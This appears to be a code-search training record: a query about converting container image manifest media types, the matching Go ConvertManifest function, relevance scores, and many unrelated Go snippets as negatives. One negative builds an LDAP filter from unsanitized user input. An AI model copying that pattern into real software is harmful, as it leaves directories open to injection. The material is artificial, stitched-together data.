getReservedIPAddresses(w http.ResponseWriter, r *http.Request) {\n\tlog.Printf(\"[Azure CNS] getReservedIPAddresses\")\n\tlog.Request(service.Name, \"getReservedIPAddresses\", nil)\n\n\tswitch r.Method {\n\tcase \"GET\":\n\tdefault:\n\t}\n\n\tresp := cns.Response{ReturnCode: 0}\n\tipResp := &cns.GetIPAddressesResponse{Response: resp}\n\terr := service.Listener.Encode(w, &ipResp)\n\n\tlog.Response(service.Name, ipResp, resp.ReturnCode, ReturnCodeToString(resp.ReturnCode), err)\n}", "func (adminAPIOp) BypassInteractionIPRateLimit() bool { return true }", "func (db *Gorm) GetVisitsByIP(ip, day string, gt, lt time.Time) (kcp.VisitsByIP, error) {\n\tvar visits []Visit\n\n\ttx := db.DB\n\tif !gt.IsZero() {\n\t\ttx = tx.Where(\"visited_at > ?\", gt)\n\t}\n\tif !lt.IsZero() {\n\t\ttx = tx.Where(\"visited_at < ?\", lt)\n\t}\n\tif day != \"\" {\n\t\ttx = tx.Where(\"day = ?\", day)\n\t}\n\tres := tx.Find(&visits)\n\n\tvisitsByIP := make(kcp.VisitsByIP)\n\tfor _, v := range visits {\n\t\tvisitsByIP[v.IP] = append(visitsByIP[v.IP], v.VisitedAt)\n\t}\n\treturn visitsByIP, res.Error\n}", "func getCNIInterfaceIPAddress(clusterCIDRs []string) (string, error) {\n\tfor _, clusterCIDR := range clusterCIDRs {\n\t\t_, clusterNetwork, err := net.ParseCIDR(clusterCIDR)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"unable to ParseCIDR %q : %v\", clusterCIDR, err)\n\t\t}\n\n\t\thostInterfaces, err := net.Interfaces()\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"net.Interfaces() returned error : %v\", err)\n\t\t}\n\n\t\tfor _, iface := range hostInterfaces {\n\t\t\taddrs, err := iface.Addrs()\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", fmt.Errorf(\"for interface %q, iface.Addrs returned error: %v\", iface.Name, err)\n\t\t\t}\n\n\t\t\tfor i := range addrs {\n\t\t\t\tipAddr, _, err := net.ParseCIDR(addrs[i].String())\n\t\t\t\tif err != nil {\n\t\t\t\t\tklog.Errorf(\"Unable to ParseCIDR : %q\", addrs[i].String())\n\t\t\t\t} else if ipAddr.To4() != nil {\n\t\t\t\t\tklog.V(level.DEBUG).Infof(\"Interface %q has %q address\", iface.Name, ipAddr)\n\t\t\t\t\taddress := net.ParseIP(ipAddr.String())\n\n\t\t\t\t\t// Verify that interface has an address from cluster CIDR\n\t\t\t\t\tif clusterNetwork.Contains(address) {\n\t\t\t\t\t\tklog.V(level.DEBUG).Infof(\"Found CNI Interface %q that has IP %q from ClusterCIDR %q\",\n\t\t\t\t\t\t\tiface.Name, ipAddr.String(), clusterCIDR)\n\t\t\t\t\t\treturn ipAddr.String(), nil\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn \"\", fmt.Errorf(\"unable to find CNI Interface on the host which has IP from %q\", clusterCIDRs)\n}", "func (n *Notifier) getCurrentDayNonReporters(channelID string) ([]model.ChannelMember, error) {\n\ttimeFrom := time.Date(time.Now().Year(), time.Now().Month(), time.Now().Day(), 0, 0, 0, 0, time.UTC)\n\tnonReporters, err := n.db.GetNonReporters(channelID, timeFrom, time.Now())\n\tif err != nil && err != errors.New(\"no rows in result set\") {\n\t\tlogrus.Errorf(\"notifier: GetNonReporters failed: %v\\n\", err)\n\t\treturn nil, err\n\t}\n\treturn nonReporters, nil\n}", "func (l *ipCheckerServer) CheckIp(ctx context.Context, ipMesg *checker.IP) (resp *checker.Response, err error) {\n\tisAllowed := false\n\tresp = &checker.Response{}\n\tresp.IsBlacklisted = true\n\n\tlog.Printf(\"CheckIP: %#v\", ipMesg)\n\tif isAllowed, err = lookup(ipMesg, resp); isAllowed && err == nil {\n\t\tlog.Println(\"Not blacklisted: \", err)\n\t\tresp.IsBlacklisted = false\n\t\treturn\n\t}\n\tlog.Println(\"Not allowed: \", err)\n\tlog.Print(ipMesg.Countries)\n\treturn\n}", "func (a Authorizer) ListExternalUsers(search string, page, count int) (externalUsers models.ExternalUsers, err error) {\n\tdirectory, err := a.GetDirectory()\n\tif err != nil {\n\t\treturn externalUsers, err\n\t}\n\turl := GetUrl(directory.LdapServer, directory.Port)\n\tDisplayName := \"DisplayName\"\n\tFirstName := \"CN\"\n\tLastName := \"SN\"\n\tEmail := \"mail\"\n\tif directory.DisplayName != \"\" {\n\t\tDisplayName = directory.DisplayName\n\t}\n\tif directory.FirstName != \"\" {\n\t\tFirstName = directory.FirstName\n\t}\n\tif directory.LastName != \"\" {\n\t\tLastName = directory.LastName\n\t}\n\tif directory.Email != \"\" {\n\t\tEmail = directory.Email\n\t}\n\n\tldap, err := openldap.Initialize(url)\n\tif err != nil {\n\t\tlogger.Get().Error(\"failed to connect the LDAP/AD server. error: %v\", err)\n\t\treturn externalUsers, err\n\t}\n\n\tif directory.DomainAdmin != \"\" {\n\t\tblock, err := aes.NewCipher([]byte(CipherKey))\n\t\tif err != nil {\n\t\t\tlogger.Get().Error(\"failed to generate new cipher\")\n\t\t\treturn externalUsers, nil\n\t\t}\n\n\t\tciphertext := []byte(directory.Password)\n\t\tiv := ciphertext[:aes.BlockSize]\n\t\tstream := cipher.NewOFB(block, iv)\n\t\thkey := make([]byte, 100)\n\t\tstream = cipher.NewOFB(block, iv)\n\t\tstream.XORKeyStream(hkey, ciphertext[aes.BlockSize:])\n\t\terr = ldap.Bind(fmt.Sprintf(\"%s=%s,%s\", directory.Uid, directory.DomainAdmin, directory.Base), string(hkey))\n\t\tif err != nil {\n\t\t\tlogger.Get().Error(\"Error binding to LDAP Server:%s. error: %v\", url, err)\n\t\t\treturn externalUsers, err\n\t\t}\n\t}\n\n\tscope := openldap.LDAP_SCOPE_SUBTREE\n\t// If the search string is empty, it will list all the users\n\t// If the search string contains 'mail=tjey*' it will returns the list of all\n\t// users start with 'tjey'\n\t// If the search string contains 'tim' this will return list of all users\n\t// names contains the word 'tim'\n\t// Possible search strings 'mail=t*redhat.com' / 'tim*' / '*john*' / '*peter'\n\tfilter := \"(objectclass=*)\"\n\tif len(search) > 0 {\n\t\tif strings.Contains(search, \"=\") {\n\t\t\tfilter = fmt.Sprintf(\"(%s*)\", search)\n\t\t} else if strings.Contains(search, \"*\") {\n\t\t\tfilter = fmt.Sprintf(\"(%s=%s)\", directory.Uid, search)\n\t\t} else {\n\t\t\tfilter = fmt.Sprintf(\"(%s=*%s*)\", directory.Uid, search)\n\t\t}\n\t}\n\n\tattributes := []string{directory.Uid, DisplayName, FirstName, LastName, Email}\n\trv, err := ldap.SearchAll(directory.Base, scope, filter, attributes)\n\n\tif err != nil {\n\t\tlogger.Get().Error(\"Failed to search LDAP/AD server. error: %v\", err)\n\t\treturn externalUsers, err\n\t}\n\n\tfrom := (page-1)*count + 1\n\tto := from + count - 1\n\ti := 0\n\n\tfor _, entry := range rv.Entries() {\n\t\ti++\n\t\tif i < from {\n\t\t\tcontinue\n\t\t}\n\t\tif i > to {\n\t\t\tbreak\n\t\t}\n\t\tuser := models.User{}\n\t\tfor _, attr := range entry.Attributes() {\n\t\t\tswitch attr.Name() {\n\t\t\tcase directory.Uid:\n\t\t\t\tuser.Username = strings.Join(attr.Values(), \", \")\n\t\t\tcase Email:\n\t\t\t\tuser.Email = strings.Join(attr.Values(), \", \")\n\t\t\t// Some setup may have an attribute like mail or email\n\t\t\t// or operator can't be used between strings to combind cases\n\t\t\tcase \"email\":\n\t\t\t\tuser.Email = strings.Join(attr.Values(), \", \")\n\t\t\tcase FirstName:\n\t\t\t\tuser.FirstName = strings.Join(attr.Values(), \", \")\n\t\t\tcase LastName:\n\t\t\t\tuser.LastName = strings.Join(attr.Values(), \", \")\n\t\t\t}\n\t\t}\n\t\t// Assiging the default roles\n\t\tuser.Role = a.defaultRole\n\t\tuser.Groups = append(user.Groups, a.defaultGroup)\n\t\tuser.Type = authprovider.External\n\t\tif len(user.Username) != 0 {\n\t\t\texternalUsers.Users = append(externalUsers.Users, user)\n\t\t}\n\t}\n\texternalUsers.TotalCount = rv.Count()\n\texternalUsers.StartIndex = from\n\texternalUsers.EndIndex = to\n\tif externalUsers.EndIndex > externalUsers.TotalCount {\n\t\texternalUsers.EndIndex = externalUsers.TotalCount\n\t}\n\treturn externalUsers, nil\n}", "func UserPwNotIn(vs ...string) predicate.User {\n\tv := make([]interface{}, len(vs))\n\tfor i := range v {\n\t\tv[i] = vs[i]\n\t}\n\treturn predicate.User(func(s *sql.Selector) {\n\t\t// if not arguments were provided, append the FALSE constants,\n\t\t// since we can't apply \"IN ()\". This will make this predicate falsy.\n\t\tif len(v) == 0 {\n\t\t\ts.Where(sql.False())\n\t\t\treturn\n\t\t}\n\t\ts.Where(sql.NotIn(s.C(FieldUserPw), v...))\n\t})\n}", "func computeAvailableIPS(boshVMS BoshVMs, ipv4Net *net.IPNet, totalIps int, reservedIPs []string, boshIP string, isBoshIPReserved bool) (int, int) {\n\tusedIPsCount := 0\n\tavailableIPs := totalIps - len(reservedIPs)\n\tfor _, table := range boshVMS.Tables {\n\t\tfor _, row := range table.Rows {\n\t\t\tif ipv4Net.Contains(net.ParseIP(row.IPS)) {\n\t\t\t\tif !contains(reservedIPs, row.IPS) {\n\t\t\t\t\tavailableIPs = availableIPs - 1\n\t\t\t\t\tusedIPsCount++\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif ipv4Net.Contains(net.ParseIP(boshIP)) && !isBoshIPReserved {\n\t\tavailableIPs = availableIPs - 1\n\t\tusedIPsCount++\n\t}\n\n\treturn availableIPs, usedIPsCount\n}", "func ListAllUsers(w http.ResponseWriter, r *http.Request) {\n\tdefer func() {\n\t\tif err := recover(); err != nil {\n\t\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusBadRequest, \"Mohomaaf ...dsb\", nil, nil)\n\t\t}\n\t}()\n\n\tfLog := userMgmtLogger.WithField(\"func\", \"ListAllUsers\").WithField(\"RequestID\", r.Context().Value(constants.RequestID)).WithField(\"path\", r.URL.Path).WithField(\"method\", r.Method)\n\n\tiauthctx := r.Context().Value(constants.HansipAuthentication)\n\tif iauthctx == nil {\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusUnauthorized, \"You are not authorized to access this resource\", nil, nil)\n\t\treturn\n\t}\n\n\tfLog.Trace(\"Listing Users\")\n\tpageRequest, err := helper.NewPageRequestFromRequest(r)\n\tif err != nil {\n\t\tfLog.Errorf(\"helper.NewPageRequestFromRequest got %s\", err.Error())\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusBadRequest, err.Error(), nil, nil)\n\t\treturn\n\t}\n\tusers, page, err := UserRepo.ListUser(r.Context(), pageRequest)\n\tif err != nil {\n\t\tfLog.Errorf(\"UserRepo.ListUser got %s\", err.Error())\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, nil)\n\t\treturn\n\t}\n\tsusers := make([]*SimpleUser, len(users))\n\tfor i, v := range users {\n\t\tsusers[i] = &SimpleUser{\n\t\t\tRecID: v.RecID,\n\t\t\tEmail: v.Email,\n\t\t\tEnabled: v.Enabled,\n\t\t\tSuspended: v.Suspended,\n\t\t}\n\t}\n\tret := make(map[string]interface{})\n\tret[\"users\"] = susers\n\tret[\"page\"] = page\n\thelper.WriteHTTPResponse(r.Context(), w, http.StatusOK, \"List of all user paginated\", nil, ret)\n}", "func (m *MgSession) GetPortalPlatformGetRequestsByLanIp(rgx string) []interface{} {\n\tvar res []interface{}\n\to1 := bson.M{\"$match\": bson.M{\"filename\": bson.M{\"$regex\": rgx}}}\n\n\to2 := bson.M{\"$unwind\": \"$accesslineinfo\"}\n\n\to3 := bson.M{\"$match\": bson.M{\"accesslineinfo.lanip\": bson.M{\"$not\": bson.M{\"$regex\": \"f97ffc3c1aff84770151bbc1e43b1e23a2b104c5\"}}}}\n\n\to4 := bson.M{\"$group\": bson.M{\"_id\": \"$accesslineinfo.lanip\",\n\t\t\"Occurances\": bson.M{\"$sum\": 1}}}\n\n\to5 := bson.M{\"$project\": bson.M{\"_id\": 0,\n\t\t\"HashedLanIP\": \"$_id\",\n\t\t\"Occurances\": 1,\n\t}}\n\n\toperations := []bson.M{o1, o2, o3, o4, o5}\n\tcol := m.Collection\n\tpipe := col.Pipe(operations)\n\n\terr := pipe.All(&res)\n\tif nil != err {\n\t\tfmt.Println(err)\n\t}\n\treturn res\n}", "func onlyPrivate(addrs []ma.Multiaddr) []ma.Multiaddr {\n\troutable := []ma.Multiaddr{}\n\tfor _, addr := range addrs {\n\t\tif manet.IsPrivateAddr(addr) {\n\t\t\troutable = append(routable, addr)\n\t\t\tlog.Debugf(\"\\tprivate - %s\\n\", addr.String())\n\t\t} else {\n\t\t\tlog.Debugf(\"\\tpublic - %s\\n\", addr.String())\n\t\t}\n\t}\n\treturn routable\n}", "func IPNotIn(vs ...string) predicate.IP {\n\tv := make([]interface{}, len(vs))\n\tfor i := range v {\n\t\tv[i] = vs[i]\n\t}\n\treturn predicate.IP(func(s *sql.Selector) {\n\t\t// if not arguments were provided, append the FALSE constants,\n\t\t// since we can't apply \"IN ()\". This will make this predicate falsy.\n\t\tif len(v) == 0 {\n\t\t\ts.Where(sql.False())\n\t\t\treturn\n\t\t}\n\t\ts.Where(sql.NotIn(s.C(FieldIP), v...))\n\t})\n}", "func CheckExternalAccesss(t *testing.T, k8client client.Client, pravega *api.PravegaCluster) error {\n\n\tssSvc := &corev1.Service{}\n\tconSvc := &corev1.Service{}\n\t_ = k8client.Get(goctx.TODO(), types.NamespacedName{Namespace: pravega.Namespace, Name: pravega.ServiceNameForSegmentStore(0)}, ssSvc)\n\t_ = k8client.Get(goctx.TODO(), types.NamespacedName{Namespace: pravega.Namespace, Name: pravega.ServiceNameForController()}, conSvc)\n\n\tif len(conSvc.Status.LoadBalancer.Ingress) == 0 || len(ssSvc.Status.LoadBalancer.Ingress) == 0 {\n\t\treturn fmt.Errorf(\"External Access is not enabled\")\n\t}\n\tlog.Printf(\"pravega cluster External Acess Validated: %s\", pravega.Name)\n\treturn nil\n}", "func IgnoreIPRecords(db *sql.DB, ip string, c chan error) {\n\tupdateSQL := `UPDATE logon_audit SET ignore = TRUE where ip = $1;`\n\t_, err := db.Exec(updateSQL, ip)\n\tif err != nil {\n\t\tlog.Error().Str(\"Error\", err.Error()).Str(\"IP\", ip).Msg(\"Error ignoring IP in DB\")\n\t\tc <- err\n\t}\n\tremoveShort := `DELETE FROM short_ban WHERE ip = $1;`\n\tremoveLong := `DELETE FROM long_ban WHERE ip = $1;`\n\t_, err = db.Exec(removeShort, ip)\n\tif err != nil {\n\t\tlog.Error().Str(\"Error\", err.Error()).Str(\"IP\", ip).Msg(\"Error deleting IP in short ban list\")\n\t\tc <- err\n\t}\n\t_, err = db.Exec(removeLong, ip)\n\tif err != nil {\n\t\tlog.Error().Str(\"Error\", err.Error()).Str(\"IP\", ip).Msg(\"Error deleting IP in long ban list\")\n\t\tc <- err\n\t}\n\tc <- nil\n}" ]
[ "0.55618083", "0.53362024", "0.52133155", "0.504922", "0.5025185", "0.5021805", "0.49990374", "0.49925345", "0.4975953", "0.49752885", "0.49593654", "0.49559018", "0.49486402", "0.49274644", "0.49150744", "0.4891709", "0.48823234", "0.4870131", "0.48608845", "0.48539826", "0.48520994", "0.48128766", "0.4789586", "0.47840142", "0.47834003", "0.47706297", "0.47652614", "0.47616905", "0.47610667", "0.47516435", "0.4726139", "0.47250637", "0.4722327", "0.47075757", "0.46951512", "0.4692729", "0.46918824", "0.46859583", "0.46823388", "0.4681799", "0.46799037", "0.46748468", "0.46590674", "0.46575776", "0.46538335", "0.463926", "0.46340233", "0.46285367", "0.46108493", "0.45883483", "0.45840043", "0.45725432", "0.45653266", "0.45629224", "0.4556872", "0.45534354", "0.45459256", "0.45385376", "0.45365623", "0.45328277", "0.45308888", "0.45302814", "0.45211712", "0.45144337", "0.45129862", "0.45036435", "0.45018843", "0.44998273", "0.44958818", "0.44953412", "0.44904667", "0.44893658", "0.44871274", "0.44723463", "0.44722828", "0.44708586", "0.4465963", "0.4458147", "0.4456857", "0.44478586", "0.44427305", "0.4442205", "0.44393063", "0.44392535", "0.44306237", "0.4423735", "0.44219622", "0.4421871", "0.44147897", "0.44089144", "0.4404716", "0.44025084", "0.44023108", "0.4387582", "0.4382403", "0.4376715", "0.4373147", "0.4371663", "0.437055", "0.43703306" ]
0.79552656
0
ConvertManifest changes application/octetstream to schema2 config media type if need. NOTE: 1. original manifest will be deleted by next gc round. 2. don't cover manifest list.
func ConvertManifest(ctx context.Context, store content.Store, desc ocispec.Descriptor) (ocispec.Descriptor, error) { if !(desc.MediaType == images.MediaTypeDockerSchema2Manifest || desc.MediaType == ocispec.MediaTypeImageManifest) { log.G(ctx).Warnf("do nothing for media type: %s", desc.MediaType) return desc, nil } // read manifest data mb, err := content.ReadBlob(ctx, store, desc) if err != nil { return ocispec.Descriptor{}, fmt.Errorf("failed to read index data: %w", err) } var manifest ocispec.Manifest if err := json.Unmarshal(mb, &manifest); err != nil { return ocispec.Descriptor{}, fmt.Errorf("failed to unmarshal data into manifest: %w", err) } // check config media type if manifest.Config.MediaType != LegacyConfigMediaType { return desc, nil } manifest.Config.MediaType = images.MediaTypeDockerSchema2Config data, err := json.MarshalIndent(manifest, "", " ") if err != nil { return ocispec.Descriptor{}, fmt.Errorf("failed to marshal manifest: %w", err) } // update manifest with gc labels desc.Digest = digest.Canonical.FromBytes(data) desc.Size = int64(len(data)) labels := map[string]string{} for i, c := range append([]ocispec.Descriptor{manifest.Config}, manifest.Layers...) { labels[fmt.Sprintf("containerd.io/gc.ref.content.%d", i)] = c.Digest.String() } ref := remotes.MakeRefKey(ctx, desc) if err := content.WriteBlob(ctx, store, ref, bytes.NewReader(data), desc, content.WithLabels(labels)); err != nil { return ocispec.Descriptor{}, fmt.Errorf("failed to update content: %w", err) } return desc, nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func GenerateManifestObj(manifestBytes []byte, manifestType string, osFilterList, archFilterList []string,\n\ti *ImageSource, parent *manifest.Schema2List) (interface{}, []byte, []*ManifestInfo, error) {\n\n\tswitch manifestType {\n\tcase manifest.DockerV2Schema2MediaType:\n\t\tmanifestObj, err := manifest.Schema2FromManifest(manifestBytes)\n\t\tif err != nil {\n\t\t\treturn nil, nil, nil, err\n\t\t}\n\n\t\t// platform info stored in config blob\n\t\tif parent == nil && manifestObj.ConfigInfo().Digest != \"\" {\n\t\t\tblob, _, err := i.GetABlob(manifestObj.ConfigInfo())\n\t\t\tif err != nil {\n\t\t\t\treturn nil, nil, nil, err\n\t\t\t}\n\t\t\tdefer blob.Close()\n\t\t\tbytes, err := io.ReadAll(blob)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, nil, nil, err\n\t\t\t}\n\t\t\tresults := gjson.GetManyBytes(bytes, \"architecture\", \"os\")\n\n\t\t\tif !platformValidate(osFilterList, archFilterList,\n\t\t\t\t&manifest.Schema2PlatformSpec{Architecture: results[0].String(), OS: results[1].String()}) {\n\t\t\t\treturn nil, nil, nil, nil\n\t\t\t}\n\t\t}\n\n\t\treturn manifestObj, manifestBytes, nil, nil\n\tcase manifest.DockerV2Schema1MediaType, manifest.DockerV2Schema1SignedMediaType:\n\t\tmanifestObj, err := manifest.Schema1FromManifest(manifestBytes)\n\t\tif err != nil {\n\t\t\treturn nil, nil, nil, err\n\t\t}\n\n\t\t// v1 only support architecture and this field is for information purposes and not currently used by the engine.\n\t\tif parent == nil && !platformValidate(osFilterList, archFilterList,\n\t\t\t&manifest.Schema2PlatformSpec{Architecture: manifestObj.Architecture}) {\n\t\t\treturn nil, nil, nil, nil\n\t\t}\n\n\t\treturn manifestObj, manifestBytes, nil, nil\n\tcase specsv1.MediaTypeImageManifest:\n\t\t//TODO: platform filter?\n\t\tmanifestObj, err := manifest.OCI1FromManifest(manifestBytes)\n\t\tif err != nil {\n\t\t\treturn nil, nil, nil, err\n\t\t}\n\t\treturn manifestObj, manifestBytes, nil, nil\n\tcase manifest.DockerV2ListMediaType:\n\t\tvar subManifestInfoSlice []*ManifestInfo\n\n\t\tmanifestSchemaListObj, err := manifest.Schema2ListFromManifest(manifestBytes)\n\t\tif err != nil {\n\t\t\treturn nil, nil, nil, err\n\t\t}\n\n\t\tvar filteredDescriptors []manifest.Schema2ManifestDescriptor\n\n\t\tfor index, manifestDescriptorElem := range manifestSchemaListObj.Manifests {\n\t\t\t// select os and arch\n\t\t\tif !platformValidate(osFilterList, archFilterList, &manifestDescriptorElem.Platform) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tfilteredDescriptors = append(filteredDescriptors, manifestDescriptorElem)\n\t\t\tmfstBytes, mfstType, err := i.source.GetManifest(i.ctx, &manifestDescriptorElem.Digest)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, nil, nil, err\n\t\t\t}\n\n\t\t\t//TODO: will the sub manifest be list-type?\n\t\t\tsubManifest, _, _, err := GenerateManifestObj(mfstBytes, mfstType,\n\t\t\t\tarchFilterList, osFilterList, i, manifestSchemaListObj)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, nil, nil, err\n\t\t\t}\n\n\t\t\tif subManifest != nil {\n\t\t\t\tsubManifestInfoSlice = append(subManifestInfoSlice, &ManifestInfo{\n\t\t\t\t\tObj: subManifest.(manifest.Manifest),\n\n\t\t\t\t\t// cannot use &manifestDescriptorElem.Digest here, because manifestDescriptorElem is a fixed copy object\n\t\t\t\t\tDigest: &manifestSchemaListObj.Manifests[index].Digest,\n\t\t\t\t\tBytes: mfstBytes,\n\t\t\t\t})\n\t\t\t}\n\t\t}\n\n\t\t// no sub manifests need to transport\n\t\tif len(filteredDescriptors) == 0 {\n\t\t\treturn nil, nil, nil, nil\n\t\t}\n\n\t\t// return a new Schema2List\n\t\tif len(filteredDescriptors) != len(manifestSchemaListObj.Manifests) {\n\t\t\tmanifestSchemaListObj.Manifests = filteredDescriptors\n\t\t}\n\n\t\tnewManifestBytes, _ := manifestSchemaListObj.Serialize()\n\n\t\treturn manifestSchemaListObj, newManifestBytes, subManifestInfoSlice, nil\n\tcase specsv1.MediaTypeImageIndex:\n\t\tvar subManifestInfoSlice []*ManifestInfo\n\n\t\tociIndexesObj, err := manifest.OCI1IndexFromManifest(manifestBytes)\n\t\tif err != nil {\n\t\t\treturn nil, nil, nil, err\n\t\t}\n\n\t\tvar filteredDescriptors []specsv1.Descriptor\n\n\t\tfor index, descriptor := range ociIndexesObj.Manifests {\n\t\t\t// select os and arch\n\t\t\tif !platformValidate(osFilterList, archFilterList, &manifest.Schema2PlatformSpec{\n\t\t\t\tArchitecture: descriptor.Platform.Architecture,\n\t\t\t\tOS: descriptor.Platform.OS,\n\t\t\t}) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tfilteredDescriptors = append(filteredDescriptors, descriptor)\n\n\t\t\tmfstBytes, mfstType, innerErr := i.source.GetManifest(i.ctx, &descriptor.Digest)\n\t\t\tif innerErr != nil {\n\t\t\t\treturn nil, nil, nil, innerErr\n\t\t\t}\n\n\t\t\t//TODO: will the sub manifest be list-type?\n\t\t\tsubManifest, _, _, innerErr := GenerateManifestObj(mfstBytes, mfstType,\n\t\t\t\tarchFilterList, osFilterList, i, nil)\n\t\t\tif innerErr != nil {\n\t\t\t\treturn nil, nil, nil, err\n\t\t\t}\n\n\t\t\tif subManifest != nil {\n\t\t\t\tsubManifestInfoSlice = append(subManifestInfoSlice, &ManifestInfo{\n\t\t\t\t\tObj: subManifest.(manifest.Manifest),\n\n\t\t\t\t\t// cannot use &descriptor.Digest here, because descriptor is a fixed copy object\n\t\t\t\t\tDigest: &ociIndexesObj.Manifests[index].Digest,\n\t\t\t\t\tBytes: mfstBytes,\n\t\t\t\t})\n\t\t\t}\n\t\t}\n\n\t\t// no sub manifests need to transport\n\t\tif len(filteredDescriptors) == 0 {\n\t\t\treturn nil, nil, nil, nil\n\t\t}\n\n\t\t// return a new Schema2List\n\t\tif len(filteredDescriptors) != len(ociIndexesObj.Manifests) {\n\t\t\tociIndexesObj.Manifests = filteredDescriptors\n\t\t}\n\n\t\tnewManifestBytes, _ := ociIndexesObj.Serialize()\n\n\t\treturn ociIndexesObj, newManifestBytes, subManifestInfoSlice, nil\n\tdefault:\n\t\treturn nil, nil, nil, fmt.Errorf(\"unsupported manifest type: %v\", manifestType)\n\t}\n}", "func convertManifestIfRequiredWithUpdate(ctx context.Context, options types.ManifestUpdateOptions, converters map[string]manifestConvertFn) (types.Image, error) {\n\tif options.ManifestMIMEType == \"\" {\n\t\treturn nil, nil\n\t}\n\n\tconverter, ok := converters[options.ManifestMIMEType]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"Unsupported conversion type: %v\", options.ManifestMIMEType)\n\t}\n\n\toptionsCopy := options\n\tconvertedManifest, err := converter(ctx, &optionsCopy)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tconvertedImage := memoryImageFromManifest(convertedManifest)\n\n\toptionsCopy.ManifestMIMEType = \"\"\n\treturn convertedImage.UpdatedImage(ctx, optionsCopy)\n}", "func MakeSchema2Manifest(repository distribution.Repository, digests []digest.Digest) (distribution.Manifest, error) {\n\tctx := context.Background()\n\tblobStore := repository.Blobs(ctx)\n\tbuilder := schema2.NewManifestBuilder(blobStore, schema2.MediaTypeImageConfig, []byte{})\n\tfor _, digest := range digests {\n\t\tbuilder.AppendReference(distribution.Descriptor{Digest: digest})\n\t}\n\n\tmanifest, err := builder.Build(ctx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"unexpected error generating manifest: %v\", err)\n\t}\n\n\treturn manifest, nil\n}", "func descriptorFromManifest(manifest v1.Manifest, platform *v1.Platform) (v1.Descriptor, error) {\n\t_, size, hash, err := contentSizeAndHash(manifest)\n\tif err != nil {\n\t\treturn v1.Descriptor{}, trace.Wrap(err)\n\t}\n\treturn v1.Descriptor{\n\t\tMediaType: types.DockerManifestSchema2,\n\t\tSize: size,\n\t\tDigest: hash,\n\t\tPlatform: platform,\n\t}, err\n\n}", "func (a *ACBuild) ReplaceManifest(manifestPath string) (err error) {\n\tif err = a.lock(); err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err1 := a.unlock(); err == nil {\n\t\t\terr = err1\n\t\t}\n\t}()\n\n\tfinfo, err := os.Stat(manifestPath)\n\tswitch {\n\tcase os.IsNotExist(err):\n\t\treturn fmt.Errorf(\"no such file or directory: %s\", manifestPath)\n\tcase err != nil:\n\t\treturn err\n\tcase finfo.IsDir():\n\t\treturn fmt.Errorf(\"%s is a directory\", manifestPath)\n\tdefault:\n\t\tbreak\n\t}\n\n\tmanblob, err := ioutil.ReadFile(manifestPath)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Marshal and Unmarshal the manifest to assert that it's valid and to\n\t// strip any whitespace\n\n\tvar man schema.ImageManifest\n\terr = man.UnmarshalJSON(manblob)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tmanblob, err = man.MarshalJSON()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn ioutil.WriteFile(path.Join(a.CurrentACIPath, aci.ManifestFile), manblob, 0755)\n}", "func cleanupManifest(origData, finalData []byte) ([]byte, error) {\n\tobjectMetacreationTs := []byte(\"\\n creationTimestamp: null\\n\")\n\tspecTemplatecreationTs := []byte(\"\\n creationTimestamp: null\\n\")\n\tjobSpecTemplatecreationTs := []byte(\"\\n creationTimestamp: null\\n\")\n\tnullStatus := []byte(\"\\nstatus: {}\\n\")\n\tnullReplicaStatus := []byte(\"status:\\n replicas: 0\\n\")\n\tnullLBStatus := []byte(\"status:\\n loadBalancer: {}\\n\")\n\tnullMetaStatus := []byte(\"\\n status: {}\\n\")\n\n\tvar hasObjectMetacreationTs, hasSpecTemplatecreationTs, hasJobSpecTemplatecreationTs, hasNullStatus,\n\t\thasNullReplicaStatus, hasNullLBStatus, hasNullMetaStatus bool\n\n\tif origData != nil {\n\t\thasObjectMetacreationTs = bytes.Contains(origData, objectMetacreationTs)\n\t\thasSpecTemplatecreationTs = bytes.Contains(origData, specTemplatecreationTs)\n\t\thasJobSpecTemplatecreationTs = bytes.Contains(origData, jobSpecTemplatecreationTs)\n\n\t\thasNullStatus = bytes.Contains(origData, nullStatus)\n\t\thasNullReplicaStatus = bytes.Contains(origData, nullReplicaStatus)\n\t\thasNullLBStatus = bytes.Contains(origData, nullLBStatus)\n\t\thasNullMetaStatus = bytes.Contains(origData, nullMetaStatus)\n\t} // null value is false in case of origFile\n\n\tif !hasObjectMetacreationTs {\n\t\tfinalData = bytes.Replace(finalData, objectMetacreationTs, []byte(\"\\n\"), -1)\n\t}\n\tif !hasSpecTemplatecreationTs {\n\t\tfinalData = bytes.Replace(finalData, specTemplatecreationTs, []byte(\"\\n\"), -1)\n\t}\n\tif !hasJobSpecTemplatecreationTs {\n\t\tfinalData = bytes.Replace(finalData, jobSpecTemplatecreationTs, []byte(\"\\n\"), -1)\n\t}\n\tif !hasNullStatus {\n\t\tfinalData = bytes.Replace(finalData, nullStatus, []byte(\"\\n\"), -1)\n\t}\n\tif !hasNullReplicaStatus {\n\t\tfinalData = bytes.Replace(finalData, nullReplicaStatus, []byte(\"\\n\"), -1)\n\t}\n\tif !hasNullLBStatus {\n\t\tfinalData = bytes.Replace(finalData, nullLBStatus, []byte(\"\\n\"), -1)\n\t}\n\tif !hasNullMetaStatus {\n\t\tfinalData = bytes.Replace(finalData, nullMetaStatus, []byte(\"\\n\"), -1)\n\t}\n\n\treturn finalData, nil\n}", 